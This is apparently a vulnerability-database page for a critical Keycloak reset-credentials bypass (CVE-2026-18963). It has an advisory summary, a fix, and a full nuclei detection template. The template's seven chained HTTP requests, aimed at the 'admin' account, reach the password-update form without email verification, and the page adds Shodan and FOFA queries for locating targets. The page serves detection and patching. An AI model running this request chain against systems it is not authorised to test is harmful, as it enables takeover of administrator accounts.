HexBrain

Browse / CVEs / CVE-2026-18963

CVE-2026-18963· keycloak / keycloak· CWE-640

Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass

criticalseverity
9.1CVSS score
6.6%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.

Impact

An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.

Fix

Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.

How to confirm it

Send: GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account
Positive when: status 200
Send: GET {{replace(forgot_path,"&amp;","&")}}
Positive when: status 200
Send: POST {{replace(reset_form_action,"&amp;","&")}}
Positive when: status 200
Send: POST {{replace(selector_form_action,"&amp;","&")}}
Positive when: status 200 or 302
Send: GET {{restart_path}}
Positive when: status 200 or 302
Send: GET {{replace(forgot_path,"&amp;","&")}}
Positive when: contains "kc-select-credential-form"
Send: POST {{replace(stale_selector_action,"&amp;","&")}}
Positive when: contains "kc-passwd-update-form"

Run it with nuclei: nuclei -id CVE-2026-18963 -u <target>

The full check
id: CVE-2026-18963

info:
  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
  impact: |
    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.
  remediation: |
    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    - https://github.com/keycloak/keycloak/pull/51844
    - https://github.com/keycloak/keycloak/issues/51833
    - https://github.com/T0w0T/POC-CVE-2026-18963
    - https://access.redhat.com/security/cve/cve-2026-18963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-18963
    epss-score: 0.06593
    epss-percentile: 0.93896
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 7
    vendor: keycloak
    product: keycloak
    shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak"
    fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak"
  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev

variables:
  username: admin
  realm: master

flow: |
  http("step-1");
  http("step-2");
  http("step-3");
  http("step-4");
  typeof restart_path !== "undefined" && restart_path !== "" && http("step-5");
  http("step-6");
  http("step-7");

http:
  - id: step-1
    raw:
      - |
        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: forgot_path
        internal: true
        part: body
        group: 1
        regex:
          - 'href="(?:https?://[^/]+)?(/[^"]*reset-credentials[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-2
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: reset_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-reset-password-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-3
    raw:
      - |
        POST {{replace(reset_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tryAnotherWay=on

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: selector_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-4
    raw:
      - |
        POST {{replace(selector_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: restart_path
        internal: true
        part: body
        group: 1
        regex:
          - '(/realms/[^\s"''<]+/login-actions/restart[^\s"''<]*skip_logout=true[^\s"''<]*)'

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-5
    raw:
      - |
        GET {{restart_path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-6
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: stale_selector_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: word
        words:
          - "kc-select-credential-form"
        part: body
        internal: true

  - id: step-7
    raw:
      - |
        POST {{replace(stale_selector_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "kc-passwd-update-form"
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"username=" + username + " | realm=" + realm'

References

Use this check only on systems you are authorised to test. Where the data comes from